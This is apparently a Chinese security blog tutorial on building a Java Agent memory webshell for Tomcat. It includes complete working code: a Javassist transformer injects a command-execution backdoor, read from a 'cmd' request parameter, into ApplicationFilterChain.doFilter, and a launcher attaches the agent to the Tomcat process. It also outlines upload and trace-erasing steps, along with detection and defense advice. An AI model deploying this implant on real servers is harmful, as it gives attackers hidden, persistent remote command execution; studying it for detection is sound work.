Java Agent内存马

约 38 分钟读完

Java Agent内存马

Java Agent介绍

Java Agent 是 Java 提供的一种在 不修改原始代码 的前提下,对 JVM 中运行的类进行 动态监控、增强或修改字节码 的技术。它本质上是一个特殊的 JAR 包,通过 JVM 内置的 Instrumentation API 和钩子机制,在程序 启动时(Premain)或运行时(Attach + Agentmain) 介入类的加载与执行过程。

其核心能力在于:

  • 在类被 JVM 加载前(或已加载后通过重转换),动态修改其字节码;
  • 无需改动原有业务逻辑,即可插入监控、日志、安全检测或功能增强代码。

这一机制广泛应用于 性能诊断(如 Arthas)、APM 监控(如 SkyWalking)、代码覆盖率分析(如 JaCoCo)、AOP 编程、热部署 等场景,是 Java 生态中实现“透明增强”的关键技术之一。

Java Agent 的工作原理

  1. 启动时机

    Java Agent 有两种启动方式:

    • premain模式:在 JVM 启动时,主程序 main 方法执行前加载,通过 -javaagent:agent.jar 参数指定。
    • agentmai 模式:在 JVM 运行过程中动态加载(需配合 Attach API),可实现对已运行程序的干预。
  2. 核心方法

    • premain(String agentArgs, Instrumentation inst):premain 模式的入口,接收参数和 Instrumentation 实例。
    • agentmain(String agentArgs, Instrumentation inst):agentmain 模式的入口,功能类似。
    • Instrumentation 接口:提供类转换(addTransformer)、重新定义类(redefineClasses)等核心能力,是 Agent 操作类的关键。
  3. 类转换流程当类被加载时,JVM 会回调 Agent 中注册的 ClassFileTransformer 接口的 transform 方法,该方法可对类的字节码(byte [])进行修改,返回修改后的字节码,JVM 最终加载修改后的类。

两种加载方式详解

(0)准备项目

新建一个项目

image-20251106160444918

新建一个软件包con.your_db_password, 然后新建一个类Fish

package com.your_db_password;

public class Fish {
    public void swim(){
        System.out.println("鱼在水中游动");
    }
}

在建一个类作为Fish类的程序入口Main.java

package com.your_db_password;

public class Main {
    public static void main(String[] args) throws InterruptedException {
        Fish fish = new Fish();
        while(true){
            fish.swim();
            Thread.sleep(1000);
        }
    }
}

然后这个程序就不用再改动了

(1)启动时加载(premain)

通过 -javaagent:your-agent.jar 参数在 JVM 启动时加载 Agent:

java -javaagent:/path/to/agent.jar -jar app.jar

这里的agent.jar就是我们需要构造出来的jar包

新建项目

image-20251106161410280

然后在pom.xml中添加内容

<build>
    <plugins>
        <plugin>
            <groupId>org.apache.maven.plugins</groupId>
            <artifactId>maven-assembly-plugin</artifactId>
            <configuration>
                <descriptorRefs>
                    <descriptorRef>jar-with-dependencies</descriptorRef>
                </descriptorRefs>
                <archive>
                    <manifestEntries>
                        <Agent-Class>AgentMainTest</Agent-Class>
                        <Premain-Class>PremainTest</Premain-Class>
                        <Can-Redefine-Classes>true</Can-Redefine-Classes>
                        <Can-Retransform-Classes>true</Can-Retransform-Classes>
                    </manifestEntries>
                </archive>
            </configuration>
            <executions>
                <execution>
                    <id>make-assembly</id>
                    <phase>package</phase>
                    <goals>
                        <goal>single</goal>
                    </goals>
                </execution>
            </executions>
        </plugin>
    </plugins>
</build>

这个配置是在打包jar的时候能过往jar包的MANIFEST.MF中添加下面信息

Premain-Class: com.example.MyAgent
Can-Redefine-Classes: true
Can-Retransform-Classes: true
  • jar-with-dependencies 是插件内置的描述符,指定打包方式为将项目自身的类和所有依赖的 Jar 包内容合并到一个 Jar 包中(即 “胖 Jar”)。
  • 作用:解决运行时依赖缺失问题,无需单独指定依赖路径,直接通过 java -jar 即可运行。
  • <Agent-Class>:指定 agentmain 模式的入口类(全类名,如 AgentMainTest)。 该类需包含 public static void agentmain(String agentArgs, Instrumentation inst) 方法,用于在 JVM 运行时动态加载 Agent。
  • <Premain-Class>:指定 premain 模式的入口类(全类名,如 PremainTest)。 该类需包含 public static void premain(String agentArgs, Instrumentation inst) 方法,用于在 JVM 启动时(main 方法前)加载 Agent。
  • <Can-Redefine-Classes>:声明该 Agent 允许重新定义已加载的类(true 表示允许),支持动态修改类结构。
  • <Can-Retransform-Classes>:声明该 Agent 允许对已加载的类进行重新转换(true 表示允许),支持类字节码的二次修改。

配置完pom.xml文件后就可以创建premain了,premain的类名要和<Agent-Class>AgentMainTest</Agent-Class>中保持一致

PremainTest.java

import java.lang.instrument.Instrumentation;
public class PremainTest {
    public static void premain(String agentArgs, Instrumentation inst) {
        inst.addTransformer(new AgentTransformer());
    }
}

image-20251106164246964

AgentTransformer类是会用来实现ClassFileTransformer的类,负责类的具体转换工作

AgentTransformer.java

import java.io.FileInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class AgentTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className,
                            Class<?> classBeingRedefined, ProtectionDomain protectionDomain,
                            byte[] classfileBuffer) throws IllegalClassFormatException {
        if (className.equals("zero/overflow/demo1/Fox")){
            return read("Fox.class");
        }
        return null;
    }

    public static byte[] read(String path)
    {
        try {
            FileInputStream in =new FileInputStream(path);
            //当文件没有结束时,每次读取一个字节显示
            byte[] data=new byte[in.available()];
            in.read(data);
            in.close();
            return data;
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }
}

transform方法:

  • 功能: 类文件转换器的核心方法
  • 逻辑: 当遇到类名为 zero/overflow/demo1/Fox 时,使用本地的 Fox.class 文件替换原类文件
  • 返回值: 返回新的字节码数据或null(表示不进行转换)

read方法:

  • 功能: 从指定路径读取class文件的字节码数据
  • 实现: 使用 FileInputStream 读取文件内容到字节数组
  • 异常处理: 捕获并打印异常,异常时返回null

所以AgentTransformer类的作用就是如果检测到加载的是Fish类,就会替换成我们编译的另一个Fish.class的内容,所以需要再编写一个Fish.java

类,用来编译Fish.class

所以在我们的premain项目下创建和准备阶段的包和类

image-20251106173612943

然后就可以打包我们前面需要的agent.jar包了

使用mvn package打包

image-20251106170658803

然后会生成target目录

image-20251106173835869

首先复制Fish.class文件的文职,复制到AgentTransformer

image-20251106173735819

然后使用mvn clean package再次打包

image-20251106170859235

复制第二个jar包的绝对路径,然后回到刚才准备阶段的AgentDemo项目

这里Main除了在IDEA中运行, 还可以使用下面方式运行。

image-20251106171447624

这时我们使用前面提到的java -javaagent:/path/to/agent.jar -jar app.jar

image-20251106174028246

可以看到原来的值已经被修改了,这就是premain加载的方式

(2)运行中动态加载(agentmain )

通过 com.sun.tools.attach.VirtualMachine API,在目标 JVM 已经运行后动态附加 Agent:

VirtualMachine vm = VirtualMachine.attach("pid");
vm.loadAgent("/path/to/agent.jar");
vm.detach();

此时 Agent 需提供 agentmain 方法:java

public static void agentmain(String agentArgs, Instrumentation inst) {
    // 动态注入逻辑
}

具体步骤:

在前面的pom.xml已经配置了<Agent-Class>AgentMainTest</Agent-Class>属性

接下来创建一个与属性值同名的类AgentMainTest.java

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class AgentMainTest {
    public static void agentmain(String agentArgs, Instrumentation inst)
    {
        inst.addTransformer(new AgentTransformer(),true);
        for (Class<?> clazz : inst.getAllLoadedClasses()){
            if (clazz.getName().equals("com.your_db_password.Fish")){
                try {
                    inst.retransformClasses(clazz);
                } catch (UnmodifiableClassException e) {
                    throw new RuntimeException(e);
                }
            }
        }
    }
}

功能说明

  • 通过inst.addTransformer(new AgentTransformer(), true)添加了一个类转换器AgentTransformer,第二个参数true表示转换器是可重转换的
  • 遍历所有已加载的类(inst.getAllLoadedClasses())
  • 查找名为"com.your_db_password.Fish"的类
  • 如果找到该类,尝试使用inst.retransformClasses(clazz)重新转换它

然后再次使用mvn clean package打包当前项目。这一步需要在下面配置pox.xml之前

然后写一个程序实现 将Agent JAR 注入到目标进程的类Attach.java

这里就需要前面介绍的VirtualMachine API, 先在pom.xml中进行配置指定一下

<dependency>
    <groupId>com.sun</groupId>
    <artifactId>tools</artifactId>
    <version>1.8</version>
    <scope>system</scope>
    <systemPath>${java.home}/../lib/tools.jar</systemPath>
</dependency>

然后创建Attach.java类

import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;
import java.io.IOException;
public class Attach {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        VirtualMachine attach = VirtualMachine.attach("pid");
        attach.loadAgent("");
    }
}
  • VirtualMachine.attach("pid"):根据进程ID(pid)附加到目标JVM
  • attach.loadAgent(""):加载指定的Java Agent到目标JVM

工作流程

  • 程序启动时接收一个进程ID作为参数
  • 通过VirtualMachine.attach()连接到目标JVM
  • 使用loadAgent()方法加载指定的Agent(JAR文件)
  • 加载成功后,Agent会在目标JVM中执行其agentmain()方法

1.将上面刚刚打包的jar包添加到 attach.loadAgent("");

2.然后就可以启动在准备阶段创建的项目了

3.然后使用命令jps -l能够获取当前运行的java进程,将获取的进程号添加到pid

image-20251106184120817

然后运行Attach类

image-20251106184156354

就可以看到代码在运行中被修改了。

Javassist

在了解了Java Agent的两种加载方式后,大概对Agent内存马有了一个简单的概念, 接下来就可以尝试Agent内存马了,但在高内存马之前,先了解一下javassist。

Javassist(Java Programming Assistant)是一个开源的 Java 字节码操作库,允许开发者在运行时动态创建、修改 Java 类,而无需直接编写复杂的字节码指令(如 ASM 所需),大大降低了 Java 字节码编程的门槛。

核心组件(关键类)

作用
ClassPool 类的容器,默认包含 JVM 已加载的类路径;可获取或创建 CtClass
CtClass 表示一个“可编辑”的 Java 类(Compile-time Class)
CtMethod / CtConstructor / CtField 分别表示方法、构造器、字段,支持插入、替换、删除代码
ExprEditor 高级编辑器,可遍历方法中的特定表达式(如方法调用、new 表达式)并修改

简单示例

import javassist.*;

public class JavassistDemo {
    public static void main(String[] args) throws Exception {
        // 1. 获取默认类池
        ClassPool pool = ClassPool.getDefault();

        // 2. 获取目标类(必须在 classpath 中)
        CtClass cc = pool.get("com.example.TargetClass");

        // 3. 获取目标方法
        CtMethod method = cc.getDeclaredMethod("sayHello");

        // 4. 在方法开头插入代码(字符串形式,像写 Java)
        method.insertBefore("{ System.out.println(\"[Before] Entering sayHello\"); }");
        method.insertAfter("{ System.out.println(\"[After] Exiting sayHello\"); }");

        // 5. 将修改后的类加载到 JVM
        Class<?> clazz = cc.toClass();
        Object obj = clazz.newInstance();
        clazz.getMethod("sayHello").invoke(obj);
    }
}

Maven依赖

<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.29.2-GA</version>
</dependency>

Agent内存马

了解前面的知识,就可以开始Agent内存马了

Agent 内存马的原理

Agent 内存马利用 Java Agent 的 Attach 机制,在目标 JVM 运行时动态注入一个恶意 Agent JAR。该 Agent 会:

  1. Hook 关键类(如 javax.servlet.http.HttpServletorg.springframework.web.servlet.DispatcherServlet 等);
  2. 修改其字节码,在请求处理流程中插入恶意逻辑(如判断特定参数执行命令);
  3. 实现持久化、隐蔽的 Webshell。

由于 Agent 拥有 JVM 级别的控制权,它可以:

  • 修改任意类的字节码;
  • 绕过传统基于 Filter/Servlet 注册表的检测;
  • 难以被常规内存扫描发现(因为恶意逻辑已融合进正常类中)。

开始操作

我们已经了解到Java Agent可以动态的修改一个类,将我们构造的agent.jat包attach到进程上,那应该选择什么进程呢?

这是我们可以优选考虑**org.apache.catalina.core.ApplicationFilterChain**。这个类:

  • Tomcat 中所有请求必经之路:无论你访问哪个 URL、是否配置了 Filter,最终都会调用 ApplicationFilterChain.doFilter()
  • 无需知道具体路由:不像修改某个 Controller 或 Servlet,需要知道路径;这个类是全局入口。
  • 兼容性好:Tomcat 6~10 结构基本一致。
  • 绕过权限控制:即使应用有 Shiro/Spring Security,FilterChain 也在其之前执行(取决于 Filter 顺序,但可插入最前)。

这个类在学习其他内存马的时候已经详细了解过了,当确定控制这个类后,就可以开始内存马的构造了

先构造执行注入后执行的语句

// 接收HTTP请求中的cmd参数,执行系统命令并将结果通过HTTP响应返回
String cmd = request.getParameter("cmd");
if (cmd != null) {
    try {
        // 执行用户传入的系统命令
        Process proc = Runtime.getRuntime().exec(cmd);
        // 获取命令执行的输入流(即命令执行结果)
        java.io.InputStream in = proc.getInputStream();
        // 包装输入流,方便按行读取结果
        java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(in));
        // 设置HTTP响应的内容类型为HTML
        response.setContentType("text/html");
        String line;
        // 获取响应输出流,用于向客户端输出结果
        java.io.PrintWriter out = response.getWriter();
        // 循环读取命令执行结果的每一行并输出
        while ((line = br.readLine()) != null) {
            out.println(line);
            out.flush();
        }
        out.close();
    } catch (Exception e) {
        // 捕获异常并转换为运行时异常抛出
        throw new RuntimeException(e);
    }
}

我们此时要实现的就是将这段代码插入到运行的tomcat进程中

结合这段代码,打包一个agent.jar包,附属到tomcat进程,就可以使用刚了解的agentmian的加载方式上手

所以需要获取到tomcat的进程号,启动tomcat

image-20251106195858946

查找tomcat的进程号,可以看到,tomcat启动类的名称是固定的:org.apache.catalina.startup.Bootstrap

了解这些就可以打包jar包了

首先配置pom.xml文件,配置agentmain并添加javassist依赖

image-20251106200514811image-20251106200526511

接下来编写AgentMainTest类,实现对org.apache.catalina.core.ApplicationFilterChain类用自己定义的AgentTransformer类进行转换字节码

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class AgentMainTest {
    public static void agentmain(String agentArgs, Instrumentation inst)
    {
        inst.addTransformer(new AgentTransformer(),true);
        for (Class<?> clazz : inst.getAllLoadedClasses()){
            if (clazz.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){
                try {
                    inst.retransformClasses(clazz);
                } catch (UnmodifiableClassException e) {
                    throw new RuntimeException(e);
                }
            }
        }
    }
}

然后编写进行字节码转换的代码AgentTransformer.java,将上面构造的插入的语句写入里面

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.LoaderClassPath;

import java.io.ByteArrayInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class AgentTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className,
                            Class<?> classBeingRedefined, ProtectionDomain protectionDomain,
                            byte[] classfileBuffer) throws IllegalClassFormatException {
        if (className.equals("org/apache/catalina/core/ApplicationFilterChain")) {
            ClassPool pool = ClassPool.getDefault();
            pool.appendClassPath(new LoaderClassPath(loader));
            try {
                CtClass cc = pool.makeClass(new ByteArrayInputStream(classfileBuffer));
                CtMethod doFilter = cc.getDeclaredMethod("doFilter");
                doFilter.insertBefore("{" +
                        "String cmd = request.getParameter(\"cmd\");\n" +
                        "if (cmd != null) {\n" +
                        "    try {\n" +
                        "        Process proc = Runtime.getRuntime().exec(cmd);\n" +
                        "        java.io.InputStream in = proc.getInputStream();\n" +
                        "        java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
                        "        response.setContentType(\"text/html\");\n" +
                        "        String line;\n" +
                        "        java.io.PrintWriter out = response.getWriter();\n" +
                        "        while ((line = br.readLine()) != null) {\n" +
                        "            out.println(line);\n" +
                        "            out.flush();\n" +
                        "            out.close();\n" +
                        "        }\n" +
                        "    } catch (Exception e) {\n" +
                        "        throw new RuntimeException(e);\n" +
                        "    }\n" +
                        "}" +
                        "}");
                return cc.toBytecode();
            } catch (Exception e) {
                throw new RuntimeException(e);
            }
        }
        return null;
    }
}

再写一个代码获取tomcat进程和pid号

import com.sun.tools.attach.VirtualMachine;
import java.io.BufferedReader;
import java.io.File;
import java.io.InputStreamReader;
import java.net.URL;
import java.security.ProtectionDomain;
import java.util.ArrayList;
import java.util.List;

public class test {
    public static void main(String[] args) throws Exception {
        // 获取目标进程(Tomcat启动类对应的进程)的PID
        String pid = getPID("org.apache.catalina.startup.Bootstrap");
        if (pid == null) {
            throw new RuntimeException("未找到目标进程");
        }
        // 获取当前类所在的JAR包路径
        String jar = getJar(test.class);
        // 附加到目标进程
        VirtualMachine vm = VirtualMachine.attach(pid);
        // 加载Agent到目标进程
        vm.loadAgent(jar);
    }

    public static String getJar(Class<?> clazz) {
        // 获取类的保护域,用于定位类所在的JAR包
        ProtectionDomain protectionDomain = clazz.getProtectionDomain();
        URL location = protectionDomain.getCodeSource().getLocation();
        String path = location.getPath();
        // 处理Windows系统下路径以"/"开头的特殊情况
        if (System.getProperty("os.name").toLowerCase().contains("win") && path.startsWith("/")) {
            path = path.substring(1);
        }
        return path;
    }

    public static String getPID(String className) {
        try {
            // 执行jps -l命令,获取所有Java进程及其主类信息
            Process process = Runtime.getRuntime().exec("jps -l");
            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                // 查找包含目标类名的进程行,提取PID
                if (line.contains(className)) {
                    return line.split(" ")[0];
                }
            }
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
        return null;
    }
}

编写这个类的时候对上面pom.xml中的VirtualMachine配置的注释取消,但在使用mvn打包的时候需要注释掉,负责mvn打包不成功

然后就可以打包mvn clean package

然后启动tomcat

image-20251106202025968

访问http://localhost:8080/?cmd=calc,没有反应,当我们运行打包的jar包

java -jar .\target\Premain-1.0-SNAPSHOT-jar-with-dependencies.jar

然后再次访问,命令就成功执行。

实际攻击流程示例

  1. 获取目标进程 PID 通常通过漏洞(如 Spring Boot Actuator、JMX 未授权访问)或系统命令执行获得。

  2. 上传恶意 Agent JAR 利用文件上传漏洞或直接通过内存写入(如使用 defineClass + 反射构造 JAR 字节流)。

  3. 调用 Attach API 加载 Agent 通过反射调用 sun.tools.attach.VirtualMachineImpl,附加到自身或目标进程。

  4. Agent 执行字节码插桩HttpServlet.service() 或 Spring 的 HandlerMapping 中插入后门逻辑,例如:

    if (request.getParameter("cmd") != null) {
        String cmd = request.getParameter("cmd");java
        Process p = Runtime.getRuntime().exec(cmd);
        // 回显结果...
    }
  5. 清除痕迹 删除临时 JAR 文件,甚至从内存中抹去 Agent 相关类引用,增加检测难度。

检测与防御

检测手段

  • 监控 Attach 行为:记录 com.sun.tools.attach 相关调用。
  • 检查 Instrumentation 实例:通过反射查看是否有非预期的 ClassFileTransformer
  • 字节码完整性校验:对比关键类(如 HttpServlet)的当前字节码与原始 JAR 中是否一致。
  • 使用安全产品:如 OpenRASP、青藤云、奇安信等支持 Agent 行为监控。

防御建议

  1. 禁用 Attach 机制(生产环境):

    -Djdk.attach.allowAttachSelf=false
    -XX:+DisableAttachMechanism

    注意:部分 JDK 版本不支持 DisableAttachMechanism

  2. 最小权限原则:应用不要以 root 或高权限用户运行。

  3. 限制外部输入:防止反序列化、表达式注入等漏洞。

  4. 定期内存快照分析:使用 MAT、JProfiler 等工具排查异常类或 Transformer。

  5. 启用 SecurityManager(虽已废弃,但在旧系统仍可用)限制敏感操作。

总结

  • Java Agent 本身是合法且强大的开发工具,广泛用于 APM、调试等领域。
  • Agent 内存马 是其被滥用于攻击的产物,代表了 Java Web 攻击技术的高级形态。
  • 防御需结合漏洞治理 + 行为监控 + 运行时保护,不能仅依赖传统杀毒或 WAF。

参考文章:https://docs.dingtalk.com/i/nodes/QPGYqjpJYrPrKaQ5UE6eZkY38akx1Z5N

参考视频:https://www.bilibili.com/video/BV1HaGPzcENy

其他agent内存马项目:https://github.com/rebeyond/memShell

← Jsp_WebShell免杀 渗透测试信息收集方法 →